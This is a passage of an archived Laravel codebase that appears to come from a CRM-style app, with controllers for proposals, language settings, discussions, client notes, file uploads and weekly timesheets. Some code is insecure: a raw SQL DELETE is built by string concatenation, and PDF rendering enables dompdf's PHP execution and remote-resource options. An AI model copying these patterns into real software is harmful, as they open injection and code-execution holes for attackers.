$this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->settings = company(); $this->invoiceSetting = invoice_setting(); return view('proposals.show', $this->data); } public function edit($id) { $this->pageTitle = __('modules.proposal.updateProposal'); $this->taxes = Tax::all(); $this->currencies = Currency::all(); $this->proposal = Proposal::with('items', 'lead')->findOrFail($id); $this->units = UnitType::all(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->invoiceSetting = invoice_setting(); $this->view = 'proposals.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('proposals.create', $this->data); } public function update(StoreRequest $request, $id) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $hsn_sac_code = $request->hsn_sac_code; $quantity = $request->quantity; $amount = $request->amount; $itemsSummary = $request->item_summary; $tax = $request->taxes; if ($request->has('item_name') && (trim($items[0]) == '' || trim($cost_per_item[0]) == '')) { return Reply::error(__('messages.addItem')); } if ($request->has('quantity')) { foreach ($quantity as $qty) { if (!is_numeric($qty)) { return Reply::error(__('messages.quantityNumber')); } } } if ($request->has('cost_per_item')) { foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } } if ($request->has('amount')) { foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } } if ($request->has('item_name')) { foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } } $proposal = Proposal::findOrFail($id); $proposal->deal_id = $request->deal_id; $proposal->valid_till = companyToYmd($request->valid_till); $proposal->sub_total = $request->sub_total; $proposal->total = $request->total; $proposal->currency_id = $request->currency_id; $proposal->status = $request->status; $proposal->note = trim_editor($request->note); $proposal->discount = round($request->discount_value, 2); $proposal->discount_type = $request->discount_type; $proposal->signature_approval = ($request->require_signature) ? 1 : 0; $proposal->description = trim_editor($request->description); $proposal->save(); return Reply::redirect(route('proposals.show', $proposal->id), __('messages.updateSuccess')); } public function destroy($id) { $proposal = Proposal::findOrFail($id); $this->deleteLeadProposalsPermission = user()->permission('delete_lead_proposals'); abort_403(!($this->deleteLeadProposalsPermission == 'all' || ($this->deleteLeadProposalsPermission == 'added' && $proposal->added_by == user()->id))); Proposal::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function sendProposal($id) { $proposal = Proposal::findOrFail($id); if (request()->data_type != 'mark_as_send') { event(new NewProposalEvent($proposal, 'new')); } $proposal->send_status = 1; $proposal->save(); if (request()->data_type == 'mark_as_send') { return Reply::success(__('messages.proposalMarkAsSent')); } return Reply::success(__('messages.proposalSendSuccess')); } public function download($id) { $this->proposal = Proposal::with('unit')->findOrFail($id); $this->viewLeadProposalsPermission = user()->permission('view_lead_proposals'); abort_403(!($this->viewLeadProposalsPermission == 'all' || ($this->viewLeadProposalsPermission == 'added' && $this->proposal->added_by == user()->id))); $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoiceSetting = invoice_setting(); $this->proposal = Proposal::with('items', 'lead', 'lead.contact', 'currency')->findOrFail($id); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); if ($this->proposal->discount > 0) { if ($this->proposal->discount_type == 'percent') { $this->discount = (($this->proposal->discount / 100) * $this->proposal->sub_total); } else { $this->discount = $this->proposal->discount; } } else { $this->discount = 0; } $taxList = array(); $items = ProposalItem::whereNotNull('taxes') ->where('proposal_id', $this->proposal->id) ->get(); $this->invoiceSetting = invoice_setting(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = ProposalItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->company = $this->proposal->company; $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); // $pdf->loadView('proposals.pdf.' . $this->invoiceSetting->template, $this->data); $customCss = ''; $pdf->loadHTML($customCss . view('proposals.pdf.' . $this->invoiceSetting->template, $this->data)->render()); $filename = __('modules.lead.proposal') . '-' . $this->proposal->id; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function deleteProposalItemImage(Request $request) { $item = ProposalItemImage::where('proposal_item_id', $request->invoice_item_id)->first(); if ($item) { Files::deleteFile($item->hashname, 'proposal-files/' . $item->id . '/'); $item->delete(); } return Reply::success(__('messages.deleteSuccess')); } public function getclients($id) { $client_data = Product::where('unit_id', $id)->get(); $unitId = UnitType::where('id', $id)->first(); return Reply::dataOnly(['status' => 'success', 'data' => $client_data, 'type' => $unitId]); } public function addItem(Request $request) { $this->items = Product::findOrFail($request->id); $this->invoiceSetting = invoice_setting(); $exchangeRate = Currency::findOrFail($request->currencyId); if (!is_null($exchangeRate) && !is_null($exchangeRate->exchange_rate) && $exchangeRate->exchange_rate > 0) { if ($this->items->total_amount != '') { /** @phpstan-ignore-next-line */ $this->items->price = floor($this->items->total_amount / $exchangeRate->exchange_rate); } else { $this->items->price = floatval($this->items->price) / floatval($exchangeRate->exchange_rate); } } else { if ($this->items->total_amount != '') { $this->items->price = $this->items->total_amount; } } $this->items->price = number_format((float)$this->items->price, 2, '.', ''); $this->taxes = Tax::all(); $this->units = UnitType::all(); $view = view('invoices.ajax.add_item', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } Http/Controllers/LanguageSettingController.php000064400000015010150325104510015620 0ustar00pageTitle = 'app.menu.languageSettings'; $this->activeSettingMenu = 'language_settings'; $this->langPath = base_path() . '/resources/lang'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_language_setting') == 'all')); return $next($request); }); } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function index() { $this->languages = LanguageSetting::all(); return view('language-settings.index', $this->data); } /** * @param Request $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ // phpcs:ignore public function update(Request $request, $id) { $setting = LanguageSetting::findOrFail($request->id); if ($request->has('status')) { $setting->status = $request->status; } $setting->save(); return Reply::success(__('messages.updateSuccess')); } /** * @param UpdateRequest $request * @param int $id * @return array */ // phpcs:ignore public function updateData(UpdateRequest $request, $id) { $setting = LanguageSetting::findOrFail($request->id); $oldLangExists = File::exists($this->langPath.'/'.$setting->language_code); if($oldLangExists){ // check and create lang folder $langExists = File::exists($this->langPath . '/' . $request->language_code); if (!$langExists) { // update lang folder name File::move($this->langPath . '/' . $setting->language_code, $this->langPath . '/' . $request->language_code); Translation::where('locale', $setting->language_code)->get()->map(function ($translation) { $translation->delete(); }); } } $setting->language_name = $request->language_name; $setting->language_code = $request->language_code; $setting->flag_code = strtolower($request->flag); $setting->status = $request->status; $setting->is_rtl = $request->is_rtl; $setting->save(); return Reply::success(__('messages.updateSuccess')); } /** * @param StoreRequest $request * @return array */ public function store(StoreRequest $request) { // check and create lang folder $langExists = File::exists($this->langPath . '/' . $request->language_code); if (!$langExists) { File::makeDirectory($this->langPath . '/' . $request->language_code); } $setting = new LanguageSetting(); $setting->language_name = $request->language_name; $setting->language_code = $request->language_code; $setting->flag_code = $request->flag; $setting->status = $request->status; $setting->is_rtl = $request->is_rtl; $setting->save(); return Reply::success(__('messages.recordSaved')); } /** * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function create(Request $request) { $this->flags = Flag::get(); return view('language-settings.create-language-settings-modal', $this->data); } /** * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function autoTranslate(Request $request) { $this->translateSetting = TranslateSetting::first(); return view('language-settings.auto-translate-modal', $this->data); } public function autoTranslateUpdate(AutoTranslateRequest $request) { $translateSetting = TranslateSetting::first(); $translateSetting->update($request->validated()); return Reply::success(__('messages.recordSaved')); } /** * @param Request $request * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function edit(Request $request, $id) { $this->languageSetting = LanguageSetting::findOrFail($id); $this->flags = Flag::get(); return view('language-settings.edit-language-settings-modal', $this->data); } /** * @param int $id * @return array */ public function destroy($id) { $language = LanguageSetting::findOrFail($id); $setting = company(); if ($language->language_code == $setting->locale) { $setting->locale = 'en'; $setting->last_updated_by = $this->user->id; $setting->save(); session()->forget('user'); } $language->destroy($id); $langExists = File::exists($this->langPath . '/' . $language->language_code); if ($langExists) { File::deleteDirectory($this->langPath . '/' . $language->language_code); } if (Schema::hasTable('ltm_translations')) { DB::statement('DELETE FROM ltm_translations where locale = "'.$language->language_code.'"'); } return Reply::success(__('messages.deleteSuccess')); } public function fixTranslation() { Artisan::call('translations:reset'); Artisan::call('translations:import'); return Reply::success(__('modules.languageSettings.fixTranslationSuccess')); } public function createEnLocale() { // copy eng folder from resources/lang to resources/lang/en File::copyDirectory($this->langPath . '/eng', $this->langPath . '/en'); // copy eng.json file from resources/lang to resources/lang/en.json File::copy($this->langPath . '/eng.json', $this->langPath . '/en.json'); return Reply::success(__('messages.recordSaved')); } } Http/Controllers/SalesReportController.php000064400000001561150325104510015010 0ustar00pageTitle = 'app.menu.salesReport'; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(SalesReportDataTable $dataTable) /** @phpstan-ignore-line */ { if (!request()->ajax()) { $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); } $this->clients = User::allClients(); return $dataTable->render('reports.sales.index', $this->data); /** @phpstan-ignore-line */ } } Http/Controllers/DiscussionController.php000064400000012741150325104510014672 0ustar00pageTitle = __('modules.projects.discussion'); } public function create() { $this->addPermission = user()->permission('add_project_discussions'); $this->projectId = request('id'); $project = Project::findOrFail($this->projectId); $userId = UserService::getUserId(); $userData = []; $usersData = $project->projectMembers; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; abort_403(!(in_array($this->addPermission, ['all', 'added']) || $project->project_admin == $userId)); $this->categories = DiscussionCategory::orderBy('order', 'asc')->get(); $this->redirectUrl = request('redirectUrl'); return view('discussions.create', $this->data); } /** * @param StoreRequest $request * @return array */ public function store(StoreRequest $request) { $discussion = new Discussion(); $discussion->title = $request->title; $discussion->discussion_category_id = $request->discussion_category; $userId = UserService::getUserId(); if (request()->has('project_id')) { $discussion->project_id = $request->project_id; } $discussion->last_reply_at = now()->timezone('UTC')->toDateTimeString(); $discussion->user_id = $userId; $discussion->save(); $discussionReply = DiscussionReply::create( [ 'body' => $request->description, 'user_id' => $userId, 'discussion_id' => $discussion->id, 'added_by' => user()->id ] ); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('projects.index'); } return Reply::successWithData(__('messages.recordSaved'), ['discussion_id' => $discussion->id, 'discussion_reply_id' => $discussionReply->id, 'redirectUrl' => $redirectUrl]); } /** * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector|mixed */ public function show($id) { $this->discussion = Discussion::with('category', 'replies', 'replies.user', 'replies.files')->findOrFail($id); $viewPermission = user()->permission('view_project_discussions'); $this->userId = UserService::getUserId(); abort_403(!($viewPermission == 'all' || ($viewPermission == 'added' && $this->discussion->added_by == $this->userId))); $project = Project::findOrFail($this->discussion->project_id); $userData = []; $usersData = $project->projectMembers; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->userRoles = user()->roles->pluck('name')->toArray(); $this->view = 'discussions.replies.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return redirect(route('projects.show', $this->discussion->project_id) . '?tab=discussion'); } public function destroy($id) { $this->discussion = Discussion::with('category', 'replies', 'replies.user', 'replies.files')->findOrFail($id); $deletePermission = user()->permission('delete_project_discussions'); $userId = UserService::getUserId(); abort_403(!($deletePermission == 'all' || ($deletePermission == 'added' && $this->discussion->added_by == $userId))); Discussion::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function setBestAnswer(Request $request) { $userId = UserService::getUserId(); $reply = DiscussionReply::findOrFail($request->replyId); $editPermission = user()->permission('edit_project_discussions'); abort_403(!($editPermission == 'all' || ($editPermission == 'added' && $reply->discussion->added_by == $userId))); $replyId = ($request->type == 'set') ? $request->replyId : null; Discussion::where('id', $reply->discussion_id) ->update(['best_answer_id' => $replyId]); $this->discussion = Discussion::with('category', 'replies', 'replies.user', 'replies.files')->findOrFail($reply->discussion_id); $userData = []; $usersData = $reply->discussion->project->projectMembers; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->userRoles = user()->roles->pluck('name')->toArray(); return $this->returnAjax('discussions.replies.show'); } } Http/Controllers/InvoiceFilesController.php000064400000004342150325104510015124 0ustar00pageIcon = 'icon-people'; $this->pageTitle = 'app.menu.invoice'; } /** * Store a newly created resource in storage. */ public function store(Request $request) { if ($request->hasFile('file')) { $defaultImage = null; foreach ($request->file as $fileData) { $file = new InvoiceFiles(); $file->invoice_id = $request->invoice_id; $filename = Files::uploadLocalOrS3($fileData, InvoiceFiles::FILE_PATH); $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } } return Reply::success(__('messages.fileUploaded')); } /** * Remove the specified resource from storage. */ public function destroy($id) { $file = InvoiceFiles::findOrFail($id); $this->deletePermission = user()->permission('delete_invoices'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $file->added_by == user()->id))); Files::deleteFile($file->hashname, 'invoices/' . $file->invoice_id); InvoiceFiles::destroy($id); $this->files = InvoiceFiles::where('invoice_id', $file->invoice_id)->orderByDesc('id')->get(); $view = view('invoices.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function download($id) { $file = InvoiceFiles::whereRaw('md5(id) = ?', $id)->firstOrFail(); $this->viewPermission = user()->permission('view_invoices'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $file->added_by == user()->id))); return download_local_s3($file, 'invoices/' . $file->hashname); } } Http/Controllers/about.php000064400000026574150325104510011626 0ustar00Http/Controllers/ClientNoteController.php000064400000022276150325104510014617 0ustar00pageTitle = 'app.menu.notes'; $this->middleware(function ($request, $next) { return $next($request); }); } public function index(ClientNotesDataTable $dataTable) { abort_403(in_array(user()->permission('view_client_note'), ['none'])); $this->addClientNotePermission = user()->permission('add_client_note'); return $dataTable->render('clients.notes.index', $this->data); } public function create() { abort_403(!in_array(user()->permission('add_client_note'), ['all', 'added', 'both'])); $this->pageTitle = __('app.addClientNote'); $this->clientId = request('client'); $projectMember = []; if (in_array('client', user_roles())) { $this->employees = []; $clientProject = Project::where('client_id', user()->id)->pluck('id')->toArray(); if (!empty($clientProject)) { $member = ProjectMember::with('user')->whereIn('project_id', $clientProject)->get(); foreach ($member as $members) { $projectMember[] = $members->user; } $this->employees = $projectMember; } } else { $this->employees = User::allEmployees(); } $this->view = 'clients.notes.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('clients.create', $this->data); } public function show($id) { $this->note = ClientNote::findOrFail($id); $callingFunction = debug_backtrace()[1]['function']; // Check which function called this show function if ($this->note->ask_password == 1 && $callingFunction != 'showVerified') { // Password protected note should be called from showVerified function abort(403, __('messages.permissionDenied')); } /** @phpstan-ignore-next-line */ $this->noteMembers = $this->note->members->pluck('user_id')->toArray(); $this->employees = User::whereIn('id', $this->noteMembers)->get(); $viewClientNotePermission = user()->permission('view_client_note'); abort_403(!($viewClientNotePermission == 'all' || ($viewClientNotePermission == 'added' && $this->note->added_by == user()->id) || ($viewClientNotePermission == 'owned' && in_array(user()->id, $this->noteMembers) && in_array('employee', user_roles())) || ($viewClientNotePermission == 'both' && ($this->note->added_by == user()->id || in_array(user()->id, $this->noteMembers))) /* @phpstan-ignore-line */ || (in_array('client', user_roles()) && $this->note->is_client_show == 1) || ($this->note->type == 0 && $viewClientNotePermission != 'none') ) ); $this->pageTitle = __('app.client') . ' ' . __('app.note'); $this->view = 'clients.notes.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('clients.create', $this->data); } public function store(StoreClientNote $request) { abort_403(!in_array(user()->permission('add_client_note'), ['all', 'added', 'both'])); $this->employees = User::allEmployees(); $note = new ClientNote(); $note->title = $request->title; $note->client_id = $request->client_id; $note->details = $request->details; $note->type = $request->type; if (in_array('client', user_roles())) { $note->is_client_show = 1; } else { $note->is_client_show = $request->is_client_show ? $request->is_client_show : ''; } $note->ask_password = $request->ask_password ? $request->ask_password : ''; $note->save(); /* if note type is private */ if ($request->type == 1) { $users = $request->user_id; if (!is_null($users)) { foreach ($users as $user) { ClientUserNote::firstOrCreate([ 'user_id' => $user, 'client_note_id' => $note->id ]); } } } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => in_array('client', user_roles()) ? route('client-notes.index') : route('clients.show', $note->client_id) . '?tab=notes']); } public function edit($id) { $this->pageTitle = __('app.editClientNote'); $this->note = ClientNote::findOrFail($id); $editClientNotePermission = user()->permission('view_client_note'); abort_403(!($editClientNotePermission == 'all' || ($editClientNotePermission == 'added' && user()->id == $this->note->added_by) || ($editClientNotePermission == 'both' && user()->id == $this->note->added_by))); $projectMember = []; if (in_array('client', user_roles())) { $this->employees = []; $clientProject = Project::where('client_id', user()->id)->pluck('id')->toArray(); if (!empty($clientProject)) { $member = ProjectMember::with('user')->whereIn('project_id', $clientProject)->get(); foreach ($member as $members) { $projectMember[] = $members->user; } $this->employees = $projectMember; } } else { $this->employees = User::allEmployees(); } /** @phpstan-ignore-next-line */ $this->noteMembers = $this->note->members->pluck('user_id')->toArray(); $this->clientId = $this->note->client_id; $this->view = 'clients.notes.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('clients.create', $this->data); } public function update(StoreClientNote $request, $id) { $note = ClientNote::findOrFail($id); $note->title = $request->title; $note->details = $request->details; $note->type = $request->type; if (in_array('client', user_roles())) { $note->is_client_show = 1; } else { $note->is_client_show = $request->is_client_show ? $request->is_client_show : ''; } $note->ask_password = $request->ask_password ?: ''; $note->save(); /* if note type is private */ if ($request->type == 1) { // delete all data of this client_note_id from client_user_notes ClientUserNote::where('client_note_id', $note->id)->delete(); $users = $request->user_id; if (!is_null($users)) { foreach ($users as $user) { ClientUserNote::firstOrCreate([ 'user_id' => $user, 'client_note_id' => $note->id ]); } } } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => in_array('client', user_roles()) ? route('client-notes.index') : route('clients.show', $note->client_id) . '?tab=notes']); } public function destroy($id) { $this->contact = ClientNote::findOrFail($id); $this->deletePermission = user()->permission('delete_client_note'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->contact->added_by == user()->id)) || ($this->deletePermission == 'both' && $this->contact->added_by == user()->id) ); $this->contact->delete(); return Reply::success(__('messages.deleteSuccess')); } public function applyQuickAction(Request $request) { if ($request->action_type == 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { abort_403(user()->permission('delete_client_note') !== 'all'); ClientNote::whereIn('id', explode(',', $request->row_ids))->delete(); return true; } public function askForPassword($id) { $this->note = ClientNote::findOrFail($id); return view('clients.notes.verify-password', $this->data); } public function checkPassword(Request $request) { $this->client = User::findOrFail($this->user->id); if (Hash::check($request->password, $this->client->password)) { return Reply::success(__('messages.passwordMatched')); } return Reply::error(__('messages.incorrectPassword')); } public function showVerified($id) { return $this->show($id); } } Http/Controllers/SubTaskFileController.php000064400000005620150325104510014721 0ustar00pageIcon = 'icon-layers'; $this->pageTitle = 'app.menu.subTaskFiles'; } /** * @param Request $request * @return array * @throws \GuzzleHttp\Exception\GuzzleException * @throws \Throwable */ public function store(Request $request) { $this->addPermission = user()->permission('add_sub_tasks'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $subTask = SubTask::with(['files'])->findOrFail($request->sub_task_id); if ($request->hasFile('file')) { foreach ($request->file as $fileData) { $file = new SubTaskFile(); $file->sub_task_id = $request->sub_task_id; $filename = Files::uploadLocalOrS3($fileData, SubTaskFile::FILE_PATH . '/' . $request->sub_task_id); $file->user_id = $this->user->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); $this->logTaskActivity($subTask->id, $this->user->id, 'fileActivity'); } } $this->task = Task::with(['subtasks', 'subtasks.files'])->findOrFail($this->subtask->task_id); $view = view('tasks.sub_tasks.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } public function destroy($id) { $file = SubTaskFile::findOrFail($id); $this->deletePermission = user()->permission('delete_sub_tasks'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $file->added_by == user()->id))); Files::deleteFile($file->hashname, SubTaskFile::FILE_PATH . '/' . $file->sub_task_id); SubTaskFile::destroy($id); $this->files = SubTaskFile::where('sub_task_id', $file->sub_task_id)->orderByDesc('id')->get(); $view = view('tasks.sub_tasks.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function download($id) { $file = SubTaskFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); $this->viewPermission = user()->permission('view_sub_tasks'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $file->added_by == user()->id))); return download_local_s3($file, SubTaskFile::FILE_PATH . '/' . $file->sub_task_id . '/' . $file->hashname); } } Http/Controllers/WeeklyTimesheetController.php000064400000026576150325104510015672 0ustar00pageTitle = 'app.menu.weeklyTimesheets'; $this->middleware(function ($request, $next) { $this->timelogMenuType = 'weekly-timesheets'; abort_403(!in_array('timelogs', $this->user->modules)); return $next($request); }); } public function index() { // get the user with the relation $loginedUser = User::with('reportingTeam')->find(user()->id); $this->teamMembersCount = $loginedUser->reportingTeam ? $loginedUser->reportingTeam->count() : 0; if( !($this->teamMembersCount > 0 || in_array('admin', user_roles())) ) { abort_403(true); } $teamMembersIds = $loginedUser->reportingTeam ? $loginedUser->reportingTeam->pluck('user_id')->toArray() : []; $this->timelogMenuType = 'weekly-timesheets'; if (request()->ajax()) { return $this->weekSummaryData(request()); } if (request()->view == 'pending_approval') { $this->weeklyTimesheet = WeeklyTimesheet::where('weekly_timesheets.status', 'pending'); if ($this->teamMembersCount > 0 && !in_array('admin', user_roles())) { $this->weeklyTimesheet = $this->weeklyTimesheet->join('users', 'weekly_timesheets.user_id', 'users.id') ->join('employee_details', 'employee_details.user_id', 'users.id') ->whereIn('weekly_timesheets.user_id', $teamMembersIds); // ->whereIn('employee_details.reporting_to', [user()->id]); } elseif ($this->teamMembersCount == 0 && !in_array('admin', user_roles())) { $this->weeklyTimesheet = $this->weeklyTimesheet->where('weekly_timesheets.user_id', user()->id); } if (request()->id) { $this->weeklyTimesheet = $this->weeklyTimesheet->where('weekly_timesheets.id', request()->id); } $this->weeklyTimesheet = $this->weeklyTimesheet->select('weekly_timesheets.*')->get(); return view('weekly-timesheets.pending_approval', $this->data); } $this->pendingApproval = WeeklyTimesheet::where('weekly_timesheets.status', 'pending'); if (user()->reportingTeam->count() > 0 && !in_array('admin', user_roles())) { $this->pendingApproval = $this->pendingApproval->join('users', 'weekly_timesheets.user_id', 'users.id') ->join('employee_details', 'employee_details.user_id', 'users.id') ->whereIn('employee_details.reporting_to', [user()->id]); } elseif (user()->reportingTeam->count() == 0 && !in_array('admin', user_roles())) { $this->pendingApproval = $this->pendingApproval->where('weekly_timesheets.user_id', user()->id); } $this->pendingApproval = $this->pendingApproval->count(); $now = now(); $this->year = $now->format('Y'); $this->month = $now->format('m'); return view('weekly-timesheets.index', $this->data); } public function weekSummaryData($request) { $now = Carbon::parse($request->week_start_date, company()->timezone); $this->weekStartDate = $now->copy()->startOfWeek(attendance_setting()->week_start_from); $this->weekEndDate = $this->weekStartDate->copy()->addDays(6); $this->weekPeriod = CarbonPeriod::create($this->weekStartDate, $this->weekEndDate); // Get All Dates from start to end date $this->weekTimesheet = WeeklyTimesheet::where('user_id', user()->id) ->whereDate('week_start_date', $this->weekStartDate) ->first(); $weekDates = []; foreach($this->weekPeriod as $date) { $dateFormatted = $date->format('Y-m-d'); $weekDates[] = $dateFormatted; } $tasks = Task::leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('task_users.user_id', '=', user()->id) ->where(function ($query) { return $query->where(function ($q) { // Task starts before or on end date AND ends after or on start date $q->whereDate('tasks.start_date', '<=', $this->weekEndDate) ->where(function ($q) { $q->whereDate('tasks.due_date', '>=', $this->weekStartDate) ->orWhereNull('tasks.due_date'); }); }); }) ->with('project:id,project_name') ->select('tasks.id', 'tasks.heading', 'tasks.project_id') ->get(); $this->tasksForWeek = $tasks; $this->weekDates = $weekDates; $view = view('weekly-timesheets.ajax.week_summary_data', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'data' => $view]); } public function store(Request $request) { $taskIds = $request->task_ids; $dates = $request->dates; $hours = $request->hours; $this->validate($request, [ 'task_ids' => 'required' ], [], [ 'task_ids' => __('app.task') ]); reset($taskIds); $firstKey = key($taskIds); $weeklyTimesheet = WeeklyTimesheet::firstOrNew(['user_id' => user()->id, 'week_start_date' => $dates[$firstKey][0]]); $weeklyTimesheet->status = $request->status; $weeklyTimesheet->save(); $weeklyTimesheet->entries()->delete(); ProjectTimeLog::where('weekly_timesheet_id', $weeklyTimesheet->id)->delete(); foreach ($taskIds as $key => $taskId) { foreach($dates[$key] as $key2 => $date) { $weeklyTimesheetEntry = WeeklyTimesheetEntries::firstOrNew(['weekly_timesheet_id' => $weeklyTimesheet->id, 'date' => $date, 'task_id' => $taskId]); if ($weeklyTimesheetEntry->exists) { $hour = $weeklyTimesheetEntry->hours; } else { $hour = 0; } $weeklyTimesheetEntry->hours = $hour + $hours[$key][$key2]; $weeklyTimesheetEntry->save(); if ($weeklyTimesheet->status == 'pending' && $weeklyTimesheetEntry->hours > 0) { $timeLog = new ProjectTimeLog(); $timeLog->task_id = $taskId; $timeLog->user_id = $weeklyTimesheet->user_id; $timeLog->total_hours = $weeklyTimesheetEntry->hours; $timeLog->total_minutes = $weeklyTimesheetEntry->hours * 60; $timeLog->start_time = Carbon::parse($date)->format('Y-m-d H:i:s'); $timeLog->end_time = Carbon::parse($date)->addHours($weeklyTimesheetEntry->hours)->format('Y-m-d H:i:s'); $timeLog->weekly_timesheet_id = $weeklyTimesheet->id; $timeLog->save(); } } } if ($weeklyTimesheet->status == 'pending') { SubmitWeeklyTimesheet::dispatch($weeklyTimesheet); return Reply::redirect(route('weekly-timesheets.index'), __('messages.recordSaved')); } return Reply::success(__('messages.recordSaved')); } public function changeStatus(Request $request) { $this->validate($request, [ 'reason' => 'required_if:status,draft' ], [ 'reason.required_if' => ':attribute ' . __('app.required') ]); $weeklyTimesheet = WeeklyTimesheet::find($request->timesheetId); $weeklyTimesheet->status = $request->status; $weeklyTimesheet->approved_by = user()->id; $weeklyTimesheet->reason = $request->has('reason') ? $request->reason : null; $weeklyTimesheet->save(); if ($request->status == 'approved') { ProjectTimeLog::where('weekly_timesheet_id', $weeklyTimesheet->id)->update(['approved' => 1]); WeeklyTimesheetApprovedEvent::dispatch($weeklyTimesheet); } if ($request->status == 'draft') { ProjectTimeLog::where('weekly_timesheet_id', $weeklyTimesheet->id)->delete(); WeeklyTimesheetDraftEvent::dispatch($weeklyTimesheet); } return Reply::success(__('messages.recordSaved')); } public function show($id) { $this->weeklyTimesheet = WeeklyTimesheet::findOrFail($id); $this->weekStartDate = $this->weeklyTimesheet->week_start_date; $this->weekEndDate = $this->weekStartDate->copy()->addDays(6); $this->weekPeriod = CarbonPeriod::create($this->weekStartDate, $this->weekEndDate); $weekDates = []; foreach($this->weekPeriod as $date) { $dateFormatted 